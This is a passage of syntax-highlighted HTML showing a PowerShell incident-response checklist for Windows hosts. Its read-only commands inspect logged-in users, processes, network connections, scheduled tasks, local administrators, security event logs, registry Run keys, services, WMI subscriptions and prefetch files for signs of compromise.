&lt;/span&gt;&lt;span class="c"&gt;# List all logged-in users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/server:localhost&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_LoggedOnUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Antecedent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Dependent&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Process Investigation ─────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Full process listing with parent PIDs (reveals process tree)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CPU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Descending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AutoSize&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Show processes with network connections&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-NetTCPConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Established&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LocalAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LocalPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RemoteAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RemotePort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;OwningProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Process'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;OwningProcess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Format&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;AutoSize&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Scheduled Tasks (attacker persistence) ────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Disabled"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Format&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;AutoSize&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Find recently created scheduled tasks (last 7 days)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AddDays&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskPath&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Local Users &amp;amp; Groups (backdoor accounts) ─────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LastLogon&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PasswordLastSet&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-LocalGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Group&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Administrators"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Event Log Forensics ───────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Failed logins in the last 24 hours&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4625&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddHours&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Successful logins from the last 24 hours&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4624&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddHours&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# New user account creations&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4720&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# New scheduled task creations&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4698&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Service installations (malware as a service)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'System'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;7045&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Users added to privileged groups&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4728&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Domain group&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4732&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Local group&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Persistence Locations ─────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Registry run keys (common autorun persistence)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Services (attacker-installed services)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;StartType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Automatic"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartType&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# WMI subscriptions (fileless persistence)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;WMIObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Namespace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;__EventFilter&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;WMIObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Namespace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;__EventConsumer&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Network Investigation ─────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# All listening ports with process association&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;netstat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ano&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LISTENING&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Map PIDs to process names&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;NetTCPConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LocalPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OwningProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'ProcessName'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;OwningProcess&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-EA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# ── Prefetch and Recent Execution ─────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Prefetch files reveal recently executed programs (including malware)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="err"&gt;:\&lt;/span&gt;&lt;span class="nx"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nx"&gt;Prefetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Sort&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Descending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span 